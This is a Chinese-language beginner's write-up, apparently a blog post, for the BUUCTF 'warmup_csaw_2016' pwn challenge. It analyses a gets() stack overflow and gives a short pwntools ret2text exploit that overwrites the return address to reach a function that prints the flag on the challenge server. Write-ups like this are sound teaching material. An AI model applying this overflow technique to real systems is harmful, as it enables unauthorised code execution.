BUUCTF-warmup_csaw_2016 (新手pwner的成长日记3)

目录

一、基本思路

1.checksec一下

2.ida分析一下

​二、构造exp

1.exp代码展示

2.运行结果

三、小结一下


一、基本思路

1.checksec一下

        还是一道没有开启任何保护的题目,暂且归类为简单题

2.ida分析一下

        我们看到主函数朴实无华地给出了危险函数gets(),同时还有主函数直接returngets的内容,这里思路就到达ret2text的线上

        然后我们再翻一翻,找一找,有个sub_40060D的函数,进去一看,不得了不得了,我们的payload直接利用sub_40060D函数就行了,甚至不需要获取shell权限,地址在反编译之前可以在函数末尾看见的,就不做展示了

二、构造exp

1.exp代码展示

#!/usr/bin/python3              ##这个是我使用虚拟机里面python的地址,大家自行调整
 
from pwn import*
 
io=remote("node5.buuoj.cn",端口)
payload=b'a'*(4*16+8)+p64(0x40060D)
io.sendline(payload)
io.interactive()

         解释一下这里填充数据为什么是4*16,我们在ida里面双击v5这个字符进入栈区一看,它是在s的基础上,从0到40的var_40占用的是4*16个字节的空间,+8是因为64位文件的rbp需要填充

2.运行结果

        由于文件的漏洞函数直接打开了flag文件,所以我们直接得到了flag的交互

三、小结一下

        总的来说,这个题目的漏洞十分明显并且方便利用,对于刚入门来说还是非常友好了。

  • 21
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值